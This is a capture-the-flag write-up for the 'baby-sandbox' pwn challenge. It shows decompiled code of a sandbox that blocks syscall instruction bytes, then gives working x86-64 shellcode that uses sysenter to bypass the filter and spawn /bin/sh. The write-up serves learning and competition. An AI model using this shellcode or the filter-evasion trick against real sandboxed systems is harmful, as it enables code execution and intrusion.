# pwn/baby-sandbox Here is the challenge code after decompilation using ghidra: ```clike void main(void) { int iVar1; void *memory; long lVar2; uint local_14; setbuf(stdout,(char *)0x0); setbuf(stderr,(char *)0x0); memory = mmap((void *)0x1337000,0x1000,3,0x100022,-1,0); if (memory == (void *)0xffffffffffffffff) { errx(1,&DAT_00102004); } printf("\x1b[38;2;255;255;255m> \x1b[0m"); fread(memory,1,0x1000,stdin); for (local_14 = 0; local_14 < 0xfff; local_14 = local_14 + 1) { if ((*(short *)((long)memory + (long)(int)local_14) == 0x50f) || (*(short *)((long)memory + (long)(int)local_14) == -0x7f33)) { errx(1,&DAT_00102033); } } iVar1 = mprotect(memory,0x1000,5); if (iVar1 < 0) { errx(1,&DAT_00102051); } lVar2 = syscall(0x9e,0x1002,0); if (lVar2 < 0) { errx(1,&DAT_0010206a); } lVar2 = syscall(0x9e,0x1001,0); if (lVar2 < 0) { errx(1,&DAT_00102088); } /* WARNING: Could not recover jumptable at 0x0010138d. Too many branches */ /* WARNING: Treating indirect jump as call */ (*(code *)memory)(0x1337133713371337,0x1337133713371337,0x1337133713371337,0x1337133713371337, 0x1337133713371337,0x1337133713371337); return; } ``` Basically, we send an arbitrary piece of code for it to be executed at fixed address 0x1337000 with the following restriction: 1. Our code cannot contains the bytes pattern 0x50f and 0x804d(-0x7f33) which means that we cannot use `int 0x80` and `syscall` instruction. 2. All registers, including even segment register fs and gs are cleared to constant value. This is done by the following snippet of code: ```clike lVar2 = syscall(0x9e,0x1002,0); if (lVar2 < 0) { errx(1,&DAT_0010206a); } lVar2 = syscall(0x9e,0x1001,0); if (lVar2 < 0) { errx(1,&DAT_00102088); } ``` 3. The page allocated to store our code has only read and execute permission so no sneaky self-modifying code. ## Solution Turns out the `sysenter` instruction can also be used to make a system call. This is introduced by intel in 32 bit mode and is still supported by intel CPU in 64 bit mode. This method of making a syscall is not actually officially supported on linux in 64 bit mode, but it still works, with the caveat you would call into the 32 bit entry point for system call. This means that you would have to follow the 32 bit linux syscall interface instead of 64 bit syscall interface. Anyway, the shellcode I come up with is: ```asm BITS 64 ORG 0x1337000 mov rbp, stack_top mov rsp, stack_top mov rax, 0xb mov rbx, bin_sh_str xor rcx, rcx xor rdx, rdx sysenter bin_sh_str: db "/bin/sh", 0 dq 0x0 dq 0x0 dq 0x0 dq 0x0 dq 0x0 dq 0x0 dq 0x0 dq 0x0 stack_top: ``` It also turns out that you need to set up a somewhat sane stack before making the syscall.